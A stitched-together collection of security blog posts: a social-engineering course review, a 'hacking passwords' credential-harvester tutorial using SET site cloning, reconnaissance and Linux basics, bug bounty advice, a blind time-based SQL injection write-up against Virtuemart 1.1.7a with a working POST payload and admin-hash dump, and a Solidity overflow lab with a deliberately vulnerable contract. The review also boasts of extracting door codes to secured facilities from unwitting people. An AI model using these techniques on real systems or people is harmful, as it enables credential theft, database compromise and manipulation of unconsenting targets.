Social Engineering Pentest Professional(SEPP) Training Review

Intro:
I recently returned from the new Social Engineering training provided by Social-Engineer.org in the beautiful city of Seattle,WA, a state known for sparkly vampires, music and coffee shop culture.  As many of you reading this article, i also read the authors definitive book Social Engineering- The art of human hacking and routinely perform SE engagements for my clients. When i heard that the author of the aforementioned book was providing training i immediately signed up to get an in person glance at the content provided in the book. However, i was pleasantly surprised to find the course covered so much more then what was presented in the book.

Instructors:

• Chris Hadnagy the author of the book Social Engineering- The art of human hacking.
• Robin Dreeke the author of the book It's not all about me.

I wasn't aware that there would be more then one instructor and was extremely happy with the content provided by both instructors. Chris and Robin both have a vast amount of knowledge and experience in the realm of social engineering.  Each instructor brought a different angle and use case scenario to the course content. Robin is an FBI agent in charge of behavioral analysis and uses social engineering in his daily life and work to get the results needed to keep our country safe. Chris uses social engineering in his daily work to help keep his clients secure and provides all sorts of free learning material to the information security community through podcasts and online frameworks.



Course Material and Expectation: 
I originally thought that the material covered in class would be a live reiteration of the material covered in Chris's book. However, I couldn't have been more wrong !!  The whole first day was about reading yourself and other people, much of the material was what Robin uses to train FBI agents in eliciting information from possible terrorist threats. Each learning module was based on live demo's, nightly labs, and constant classroom interaction. Each module was in depth and the level of interaction between students was extremely useful and friendly. I would say the instructors had as much fun as the students learning and sharing social techniques and war stories.
The class was heavily made up of ways to elicit personal and confidential information in a way that left the individuatial "Happier for having met you".  Using language, body posture and social truisms as your weapon to gather information, not intended for your ears, but happily leaving the tongue of your target.
Other class activities and materials included an in depth look at micro expressions with labs and free extended learning material going beyond the allotted classroom days.  Also break out sessions which focused on creating Phone and Phishing scripts to effectively raise your rate of success. These sessions were invaluable at learning to use proper language techniques on the phone and in email to obtain your objectives.

Nightly Missions/Labs: 
If you think that you are going to relax at night with a beer. Think again!! You must ensure that your nights are free, as you will be going on missions to gain information from live targets at venues of your choice.  Each night you will have a partner and a mission to gain certain information while making that persons day better then it started.  The information  you are requested to obtain will change each night and if done properly you will notice all of the material in class starting to unfold.. When you get to body language training you will notice which targets are open and when its best to go in for the kill. You will see interactions change based on a persons change in posture and facial expressions. Each day you will take the new techniques you have learned and put them into practice. Each morning you have to report your findings to the class..
During my nightly labs i obtained information such as door codes to secured research facilities, information regarding secret yet to be released projects.  On the lighter side of things i obtained much personal information from my targets along with phone numbers and invitations for further hangouts and events. I made many new friends inside and outside of class.
There were also labs within the confines of the classroom such as games used to solidify your knowledge and tests to figure out what kind of learner you are. Technical labs on the use of information gathering tools and ways to use phone and phishing techniques to your advantage via linguistically and technologically. Essentially the class was about 60% interaction and labs.


Proof it works:
After class i immediately had a phishing and phone based contract at my current employment. I used the email and phone scripts that we created in class with 100% click rate and 100% success in phone elicitation techniques. Gaining full unfettered access to networks through phone and email elicitation and interaction. Although I do generally have a decent SE success rate, my rates on return are now much higher and an understanding of what works and what doesn't, and why are much more refined.


Conclusion and Certification:
I paid for this class out of pocket, including all expenses, hotels, rentals cars and planes etc etc. I would say that the class was worth every penny in which i paid for it. Many extras were given including black hat passes, extended training from notable sources and continued interaction from instructors after class ended. I would highly recommend this class to anyone looking for a solid foundation in social engineering or a non technical alternative to training.  You will learn a lot, push yourself in new ways and have a blast doing it. However I did not see any sparkly vampires while in seattle.... Twilight lied to me LOL
The certification is a 48 hour test in which you will utilize your knowledge gained technologically and socially to breach a company.I am not going to give away to much information about the certification as i haven't taken it yet and I do not want to misspeak on the subject. However I will say that social-engineer.org has done an excellent job at figuring out a way to include Real World Social Engineering into a test with verifiable proof of results. I am going to take my test in a couple weeks and it should be a blast!!!

Thanks and I hope this review is helpful to all those looking for SE training.  I had a blast :) :)More information

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HACKING PASSWORDS USING CREDENTIAL HARVESTER ATTACK

Everything over the internet is secured by the passwords. You need a login to do any stuff on any social or banking website. Passwords are the first security measure for these type of websites. So, I brought a tutorial on how to hack such sort of login passwords. This tutorial is based on credential harvester attack method. In which you will know about hacking passwords using credential harvester attack method.

HACKING PASSWORDS USING CREDENTIAL HARVESTER ATTACK

REQUIREMENTS

It's very simple and easy to follow. Before you start, you need the following things to work with.

1. Kali Linux OS
2. Target Website

STEPS TO FOLLOW

• Run the Kali Linux machine. If you have not Kali Linux installed, you can grab a free copy and install it as a virtual machine. You can learn more about Kali Linux VirtualBox installation.
• Sign in to Kali Linux by entering username root and password toor.
• As you'll sign in, navigate to the Applications > Social Engineering Tools > Social Engineering as shown in the following screenshot.
• Now you will see the different options. You have to choose Social Engineering Attacks by simply entering its number in the terminal. Once you do it, it will show a few options further. Simply choose Website Vector Attack by putting its number.
• Website vector attack will show up it's a different type of attacks. We are going to use Credential Harvester Attack.
• Choose the Site Clone option. As you do it, it will ask for your public IP address. Just open up a new terminal and type ifconfig. It'll show the public IP. Just copy it and paste in the previous terminal as shown in the following screenshots.
• After we do it. Enter the target website of which passwords you want to hack. Make sure to use a website that has username and password on the same page.
• All done now. As someone opens up the browser on the public IP we specified, it'll show up the website that we entered in the previous step. Now as someone enters their username or password, it will be captured in the terminal.

That's all. If you're not clear yet. You can watch the following complete video tutorial on how to do it.

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RECONNAISSANCE IN ETHICAL HACKING

What is reconnaissance in ethical hacking?
This is the primary phase of hacking where the hacker tries to collect as much information as possible about the target.It includes identifying the target ip address range,network,domain,mail server records etc.

They are of two types-
Active Reconnaissance 
Passive Reconnaissance 

1-Active Reconnaissance-It the process from which we directly interact with the computer system to gain information. This information can be relevant and accurate but there is a risk of getting detected if you are planning active reconnaissance without permission.if you are detected then the administration will take the severe action action against you it may be jail!

Passive Reconnaissance-In this process you will not be directly connected to a computer system.This process is used to gather essential information without ever interacting with the target system.

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Linux Command Line Hackery Series: Part 1

In this concise article we will learn some basics of how to use Linux Command line, so lets get started.

Requirements:

1. An open Terminal in your Linux Box. I'm using Kali Linux 2.0
or you can check out this amazing website Webminal

Command:  ls
Syntax:         ls [flag(s)]
Function:      ls is short for list. ls command is used to list the contents of a directory these contents include files, folders, and links. ls has many optional flags as well, some of them are described below
Flags:    -a this flag is used to view hidden files that is those files whose names are preceded                      by a '.'(dot)
               -l  this flag is used to view file permissions, owner of the file, group of the owner, the                        file size, the modification date, and the filename. We'll talk more about it in later                            articles.

Command:  mkdir
Syntax:         mkdir dirname
Function:      mkdir is used to create a directory (or a folder) with the name which is followed by the command

now lets create a directory in our current directory named as myfiles, how would you do that?

mkdir myfiles

which command should we use in order to verify that the directory has been created in our current folder?

ls

this will list all the files and directories in our current folder. Do you see myfiles directory listed?

Command:  cd
Syntax:         cd path/to/directory
Function:      cd is short for change directory. It is used to navigate directories, or to make it clear it does the same thing as what double clicking on a folder do except it doesn't show you contents of the directory :(. In order to navigate or visit another directory we need to provide it's ABSOLUTE-PATH or RELATIVE-PATH you heard that, didn't ya?

Paths are of two types relative path or absolute path (also called full-path). Relative as the name suggests is relative to the current directory, so if you have to navigate to a folder within the current directory you'll just simply type cd directory_name. But what if you have to navigate to a directory which is the parent of current directory? Well it's easy just type cd .. (yes double dots, you noticed that .. and . thing when you typed ls -a, didn't you?). The double dots mean the directory above current directory (i,e the parent directory) and a single dot means the current directory (i,e the directory that I'm currently in). Now if you have to navigate two directories above current directory using relative path navigation you'll type

cd ../.. 

here .. means previous directory and another .. after slash (/) means the previous directory of the previous directory sounds confusing..!

The Absolute Path means full path to the file or folder which starts from root directory. Say I want to navigate to my home folder using absolute path, then I'll type:

cd /home/user

where user is the username
Now think of navigating to the myfiles folder from your home directory using the absolute path, it will be something like this:

cd /home/user/myfiles

Exercise: Create a directory project1 inside your home directory and inside the project1 directory create a file and a directory named index.html and css respectively. Then navigate to the css directory and create a style.css file inside it. At last navigate out of the css directory to home both using the relative and absolute path mechanisms.

[Trick: To get quickly out of any directory to your home directory type cd ~ [press Enter] or simply cd [press Enter]]

Command:  touch
Syntax:         touch filename
Function:      touch is a nifty little function used to create an empty file (actually it's used to change access time of a file but everyone has got bad habits :P ). You can create any type of empty file with the touch command. If you are a bit curious about touch read the manual page of the touch command using the man touch command.

Now lets create a few files inside of our myfiles directory

touch file1 file2 file3

The above command creates three empty files in our current directory named file1, file2, and file3.
How will you verify that it has indeed created these three files in your current directory? I won't answer this time.

Command:  echo
Syntax:         echo Hacker manufacturing under process
Function:      echo is used to display a line of text. By default echo displays a line of text on the terminal which is the standard output device (stdout for short). However we can redirect the output of an echo command to a file using > (the greater than symbol).
Now if we have to echo a line of text to a file, say file1 in our myfiles directory, we will type:

echo This is file1 > file1

The above command will echo the text "This is file1" to file1.

Command:  cat
Syntax:         cat filename [anotherfilename...]
Function:      cat stands for concatenate (not that puny little creature in your house). The main function of cat is to concatenate files and display them on your terminal (or in geeky terms stdout). But its also used to display the contents of a file on your terminal.

Let's display the contents of file1 in the myfiles directory that we echoed to it using the echo command, for that we'll type:

cat file1

Awesome I can see on black screen contents of my file (what if your terminals background is white?), looks like I'm becoming a hacker. In case you don't see it then I suggest you should give up the thought of becoming a hacker. Just kidding you might have missed a step or two from the above steps that we performed.

Now lets say that we want to add another line of text to our file using the echo command should we use the same greater than (>) symbol? No, if we want to add another line (which in geeky terms is to append a line) to our file using the echo command we have to use >> (two greater than symbols) like this:

echo Another line of text >> file1

now to check the contents of file1 we'll type:

cat file1

OK we wrote two lines inside of the file1.
Does it mean we have to add three greater than symbols to write third line? Oh! I didn't thought you'd be such a genius.

A single greater than symbol (>) means redirect the output of the preceding command to a file specified after the > symbol. If the file exists then overwrite everything that's in it with the new contents and if the file does not exist then create one and write to it the output of the preceding command. So if you had typed

echo Another line of text > file1

it would have overwritten the contents of the file1 with "Another line of text" and the line "This is file1" would no longer be present in the file.

Two greater than symbols (>>) mean that append (remember the geeky term?) the output of the previous command to the end of file specified after >>. Now if you want to add another line of text to file1, you won't use >>> rather you'll use >> like this:

echo Third line in file1 >> file1

This is it for today. But don't worry we'll learn more things soon.

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How Do I Get Started With Bug Bounty ?

How do I get started with bug bounty hunting? How do I improve my skills?



These are some simple steps that every bug bounty hunter can use to get started and improve their skills:

Learn to make it; then break it!
A major chunk of the hacker's mindset consists of wanting to learn more. In order to really exploit issues and discover further potential vulnerabilities, hackers are encouraged to learn to build what they are targeting. By doing this, there is a greater likelihood that hacker will understand the component being targeted and where most issues appear. For example, when people ask me how to take over a sub-domain, I make sure they understand the Domain Name System (DNS) first and let them set up their own website to play around attempting to "claim" that domain.

Read books. Lots of books.
One way to get better is by reading fellow hunters' and hackers' write-ups. Follow /r/netsec and Twitter for fantastic write-ups ranging from a variety of security-related topics that will not only motivate you but help you improve. For a list of good books to read, please refer to "What books should I read?".

Join discussions and ask questions.
As you may be aware, the information security community is full of interesting discussions ranging from breaches to surveillance, and further. The bug bounty community consists of hunters, security analysts, and platform staff helping one and another get better at what they do. There are two very popular bug bounty forums: Bug Bounty Forum and Bug Bounty World.

Participate in open source projects; learn to code.
Go to https://github.com/explore or https://gitlab.com/explore/projects and pick a project to contribute to. By doing so you will improve your general coding and communication skills. On top of that, read https://learnpythonthehardway.org/ and https://linuxjourney.com/.

Help others. If you can teach it, you have mastered it.
Once you discover something new and believe others would benefit from learning about your discovery, publish a write-up about it. Not only will you help others, you will learn to really master the topic because you can actually explain it properly.

Smile when you get feedback and use it to your advantage.
The bug bounty community is full of people wanting to help others so do not be surprised if someone gives you some constructive feedback about your work. Learn from your mistakes and in doing so use it to your advantage. I have a little physical notebook where I keep track of the little things that I learnt during the day and the feedback that people gave me.


Learn to approach a target.
The first step when approaching a target is always going to be reconnaissance — preliminary gathering of information about the target. If the target is a web application, start by browsing around like a normal user and get to know the website's purpose. Then you can start enumerating endpoints such as sub-domains, ports and web paths.

A woodsman was once asked, "What would you do if you had just five minutes to chop down a tree?" He answered, "I would spend the first two and a half minutes sharpening my axe."
As you progress, you will start to notice patterns and find yourself refining your hunting methodology. You will probably also start automating a lot of the repetitive tasks.

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ADVANTAGE OF ETHICAL HACKING

Advantage of Ethical Hacking

Hacking is quite useful in the following purpose-

1-To recover lost information, especially in case you lost your password.

2-To perform penetration testing to strengthen computer and network security.

3-To put adequate preventative measure in place to prevent security breaches.

4-To have a computer system that prevents malicious hackers from gaining access.

5-Fighting against terrorism and national security breaches.

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Bit Banging Your Database

This post will be about stealing data from a database one bit at a time. Most of the time pulling data from a database a bit at a time would not be ideal or desirable, but in certain cases it will work just fine. For instance when dealing with a blind time based sql injection. To bring anyone who is not aware of what a "blind time based" sql injection is up to speed - this is a condition where it is possible to inject into a sql statement that is executed by the database, but the application gives no indication about the result of the query. This is normally exploited by injecting boolean statements into a query and making the database pause for a determined about of time before returning a response. Think of it as playing a game "guess who" with the database.

Now that we have the basic idea out of the way we can move onto how this is normally done and then onto the target of this post. Normally a sensitive item in the database is targeted, such as a username and password. Once we know where this item lives in the database we would first determine the length of the item, so for example an administrator's username. All examples below are being executed on an mysql database hosting a Joomla install. Since the example database is a Joomla web application database, we would want to execute a query like the following on the database:

select length(username) from jos_users where usertype = 'Super Administrator';

Because we can't return the value back directly we have to make a query like the following iteratively:

select if(length(username)=1,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
select if(length(username)=2,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';

We would keep incrementing the number we compare the length of the username to until the database paused (benchmark function hit). In this case it would be 5 requests until our statement was true and the benchmark was hit. 

Examples showing time difference:

 mysql> select if(length(username)=1,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
1 row in set (0.00 sec)

mysql> select if(length(username)=5,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
1 row in set (0.85 sec)

Now in the instance of the password, the field is 65 characters long, so it would require 65 requests to discover the length of the password using this same technique. This is where we get to the topic of the post, we can actually determine the length of any field in only 8 requests (up to 255). By querying the value bit by bit we can determine if a bit is set or not by using a boolean statement again. We will use the following to test each bit of our value: 

Start with checking the most significant bit and continue to the least significant bit, value is '65':

value & 128 
01000001
10000000
-----------
00000000 

value & 64
01000001
01000000
-----------
01000000

value & 32
01000001
00100000
-----------
00000000

value & 16
01000001
00010000
--------
00000000

value & 8
01000001
00001000
--------
00000000

value & 4
01000001
00000100
-----------
00000000

value & 2
01000001
00000010
-----------
00000000

value & 1
01000001
00000001
-----------
00000001

The items that have been highlighted in red identify where we would have a bit set (1), this is also the what we will use to satisfy our boolean statement to identify a 'true' statement. The following example shows the previous example being executed on the database, we identify set bits by running a benchmark to make the database pause:

mysql> select if(length(password) & 128,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 64,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (7.91 sec)

mysql> select if(length(password) & 32,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 16,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 8,benchmark(50000000,md5('cc')),0)  from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 4,benchmark(50000000,md5('cc')),0)  from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 2,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 1,benchmark(50000000,md5('cc')),0)  from jos_users;
1 row in set (8.74 sec)

As you can see, whenever we satisfy the boolean statement we get a delay in our response, we can mark that bit as being set (1) and all others as being unset (0). This gives us 01000001 or 65. Now that we have figured out how long our target value is we can move onto extracting its value from the database. Normally this is done using a substring function to move through the value character by character. At each offset we would test its value against a list of characters until our boolean statement was satisfied, indicating we have found the correct character. Example of this:

select if(substring(password,1,1)='a',benchmark(50000000,md5('cc')),0) as query from jos_users;

This works but depending on how your character set that you are searching with is setup can effect how many requests it will take to find a character, especially when considering case sensitive values. Consider the following password hash:

da798ac6e482b14021625d3fad853337skxuqNW1GkeWWldHw6j1bFDHR4Av5SfL

If you searched for this string a character at a time using the following character scheme [0-9A-Za-z] it would take about 1400 requests. If we apply our previous method of extracting a bit at a time we will only make 520 requests (65*8). The following example shows the extraction of the first character in this password:

mysql> select if(ord(substring(password,1,1)) & 128,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)

mysql> select if(ord(substring(password,1,1)) & 64,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.91 sec)

mysql> select if(ord(substring(password,1,1)) & 32,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.93 sec)

mysql> select if(ord(substring(password,1,1)) & 16,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)

mysql> select if(ord(substring(password,1,1)) & 8,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)

mysql> select if(ord(substring(password,1,1)) & 4,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.91 sec)

mysql> select if(ord(substring(password,1,1)) & 2,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)

mysql> select if(ord(substring(password,1,1)) & 1,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)

Again I have highlighted the requests where the bit was set in red. According to these queries the value is 01100100 (100) which is equal to 'd'. The offset of the substring would be incremented and the next character would be found until we reached the length of the value that we found earlier.

Now that the brief lesson is over we can move on to actually exploiting something using this technique. Our target is Virtuemart. Virtuemart is a free shopping cart module for the Joomla platform. Awhile back I had found an unauthenticated sql injection vulnerability in version 1.1.7a. This issue was fixed promptly by the vendor (...I was amazed) in version 1.1.8. The offending code was located in "$JOOMLA/administrator/components/com_virtuemart/notify.php" :

          if($order_id === "" || $order_id === null)
          {
                        $vmLogger->debug("Could not find order ID via invoice");
                        $vmLogger->debug("Trying to get via TransactionID: ".$txn_id);
                        $qv = "SELECT * FROM `#__{vm}_order_payment` WHERE `order_payment_trans_id` = '".$txn_id."'";
                        $db->query($qv);
                        print($qv);
                        if( !$db->next_record()) {
                                $vmLogger->err("Error: No Records Found.");
                        }

The $txn_id variable is set by a post variable of the same name. The following example will cause the web server to delay before returning:

POST /administrator/components/com_virtuemart/notify.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
invoice=1&txn_id=1' or benchmark(50000000,md5('cc'));#  

Now that an insertion point has been identified we can automate the extraction of the "Super Administrator" account from the system:

python vm_own.py "http://192.168.18.131/administrator/components/com_virtuemart/notify.php"

[*] Getting string length

[+] username length is:5

[+] username:admin

[*] Getting string length

[+] password length is:65

[+] password:da798ac6e482b14021625d3fad853337:skxuqNW1GkeWWldHw6j1bFDHR4Av5SfL

The "vm_own.py" script can be downloaded here.

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Blockchain Exploitation Labs - Part 3 Exploiting Integer Overflows And Underflows

In part 1 and 2 we covered re-entrancy and authorization attack scenarios within the Ethereum smart contract environment. In this blog we will cover integer attacks against blockchain decentralized applications (DAPs) coded in Solidity.

Integer Attack Explanation:

An integer overflow and underflow happens when a check on a value is used with an unsigned integer, which either adds or subtracts beyond the limits the variable can hold. If you remember back to your computer science class each variable type can hold up to a certain value length. You will also remember some variable types only hold positive numbers while others hold positive and negative numbers.

If you go outside of the constraints of the number type you are using it may handle things in different ways such as an error condition or perhaps cutting the number off at the maximum or minimum value.

In the Solidity language for Ethereum when we reach values past what our variable can hold it in turn wraps back around to a number it understands. So for example if we have a variable that can only hold a 2 digit number when we hit 99 and go past it, we will end up with 00. Inversely if we had 00 and we subtracted 1 we would end up with 99.


Normally in your math class the following would be true:

99 + 1 = 100
00 - 1 = -1

In solidity with unsigned numbers the following is true:

99 + 1 = 00
00 - 1 = 99


So the issue lies with the assumption that a number will fail or provide a correct value in mathematical calculations when indeed it does not. So comparing a variable with a require statement is not sufficiently accurate after performing a mathematical operation that does not check for safe values.

That comparison may very well be comparing the output of an over/under flowed value and be completely meaningless. The Require statement may return true, but not based on the actual intended mathematical value. This in turn will lead to an action performed which is beneficial to the attacker for example checking a low value required for a funds validation but then receiving a very high value sent to the attacker after the initial check. Lets go through a few examples.

Simple Example:

Lets say we have the following Require check as an example:
require(balance - withdraw_amount > 0) ;


Now the above statement seems reasonable, if the users balance minus the withdrawal amount is less than 0 then obviously they don't have the money for this transaction correct?

This transaction should fail and produce an error because not enough funds are held within the account for the transaction. But what if we have 5 dollars and we withdraw 6 dollars using the scenario above where we can hold 2 digits with an unsigned integer?

Let's do some math.
5 - 6 = 99

Last I checked 99 is greater than 0 which poses an interesting problem. Our check says we are good to go, but our account balance isn't large enough to cover the transaction. The check will pass because the underflow creates the wrong value which is greater than 0 and more funds then the user has will be transferred out of the account.

Because the following math returns true:
 require(99 > 0) 

Withdraw Function Vulnerable to an UnderFlow:

The below example snippet of code illustrates a withdraw function with an underflow vulnerability:

function withdraw(uint _amount){

    require(balances[msg.sender] - _amount > 0);
    msg.sender.transfer(_amount);
    balances[msg.sender] -= _amount;

}

In this example the require line checks that the balance is greater then 0 after subtracting the _amount but if the _amount is greater than the balance it will underflow to a value above 0 even though it should fail with a negative number as its true value.

require(balances[msg.sender] - _amount > 0);


It will then send the value of the _amount variable to the recipient without any further checks:

msg.sender.transfer(_amount);

Followed by possibly increasing the value of the senders account with an underflow condition even though it should have been reduced:

balances[msg.sender] -= _amount;


Depending how the Require check and transfer functions are coded the attacker may not lose any funds at all but be able to transfer out large sums of money to other accounts under his control simply by underflowing the require statements which checks the account balance before transferring funds each time.

Transfer Function Vulnerable to a Batch Overflow:

Overflow conditions often happen in situations where you are sending a batched amount of values to recipients. If you are doing an airdrop and have 200 users who are each receiving a large sum of tokens but you check the total sum of all users tokens against the total funds it may trigger an overflow. The logic would compare a smaller value to the total tokens and think you have enough to cover the transaction for example if your integer can only hold 5 digits in length or 00,000 what would happen in the below scenario?


You have 10,000 tokens in your account
You are sending 200 users 499 tokens each
Your total sent is 200*499 or 99,800

The above scenario would fail as it should since we have 10,000 tokens and want to send a total of 99,800. But what if we send 500 tokens each? Lets do some more math and see how that changes the outcome.


You have 10,000 tokens in your account
You are sending 200 users 500 tokens each
Your total sent is 200*500 or 100,000
New total is actually 0

This new scenario produces a total that is actually 0 even though each users amount is 500 tokens which may cause issues if a require statement is not handled with safe functions which stop an overflow of a require statement.



Lets take our new numbers and plug them into the below code and see what happens:

1. uint total = _users.length * _tokens;
2. require(balances[msg.sender] >= total);
3. balances[msg.sender] = balances[msg.sender] -total;

4. for(uint i=0; i < users.length; i++){ 
5.       balances[_users[i]] = balances[_users[i]] + _value;



Same statements substituting the variables for our scenarios values:

1. uint total = _200 * 500;
2. require(10,000 >= 0);
3. balances[msg.sender] = 10,000 - 0;

4. for(uint i=0; i < 500; i++){ 
5.      balances[_recievers[i]] = balances[_recievers[i]] + 500;

Batch Overflow Code Explanation:

1: The total variable is 100,000 which becomes 0 due to the 5 digit limit overflow when a 6th digit is hit at 99,999 + 1 = 0. So total now becomes 0.

2: This line checks if the users balance is high enough to cover the total value to be sent which in this case is 0 so 10,000 is more then enough to cover a 0 total and this check passes due to the overflow.

3: This line deducts the total from the senders balance which does nothing since the total of 10,000 - 0 is 10,000.  The sender has lost no funds.

4-5: This loop iterates over the 200 users who each get 500 tokens and updates the balances of each user individually using the real value of 500 as this does not trigger an overflow condition. Thus sending out 100,000 tokens without reducing the senders balance or triggering an error due to lack of funds. Essentially creating tokens out of thin air.

In this scenario the user retained all of their tokens but was able to distribute 100k tokens across 200 users regardless if they had the proper funds to do so.

Lab Follow Along Time:

We went through what might have been an overwhelming amount of concepts in this chapter regarding over/underflow scenarios now lets do an example lab in the video below to illustrate this point and get a little hands on experience reviewing, writing and exploiting smart contracts. Also note in the blockchain youtube playlist we cover the same concepts from above if you need to hear them rather then read them.

For this lab we will use the Remix browser environment with the current solidity version as of this writing 0.5.12. You can easily adjust the compiler version on Remix to this version as versions update and change frequently.
https://remix.ethereum.org/

Below is a video going through coding your own vulnerable smart contract, the video following that goes through exploiting the code you create and the videos prior to that cover the concepts we covered above:

Download Video Lab Example Code:

Download Sample Code:

CC Labs GitHub

//Underflow Example Code: 

//Can you bypass the restriction? 

//--------------------------------------------

 pragma solidity ^0.5.12;

contract Underflow{
     mapping (address =>uint) balances;

     function contribute() public payable{
          balances[msg.sender] = msg.value;  
     }

     function getBalance() view public returns (uint){
          return balances[msg.sender];     
     }

     function transfer(address _reciever, uint _value) public payable{
         require(balances[msg.sender] - _value >= 5);
         balances[msg.sender] = balances[msg.sender] - _value;  

         balances[_reciever] = balances[_reciever] + _value;
     }
    

}

This next video walks through exploiting the code above, preferably hand coded by you into the remix environment. As the best way to learn is to code it yourself and understand each piece:

 

Conclusion: 

We covered a lot of information at this point and the video series playlist associated with this blog series has additional information and walk throughs. Also other videos as always will be added to this playlist including fixing integer overflows in the code and attacking an actual live Decentralized Blockchain Application. So check out those videos as they are dropped and the current ones, sit back and watch and re-enforce the concepts you learned in this blog and in the previous lab. This is an example from a full set of labs as part of a more comprehensive exploitation course we have been working on.

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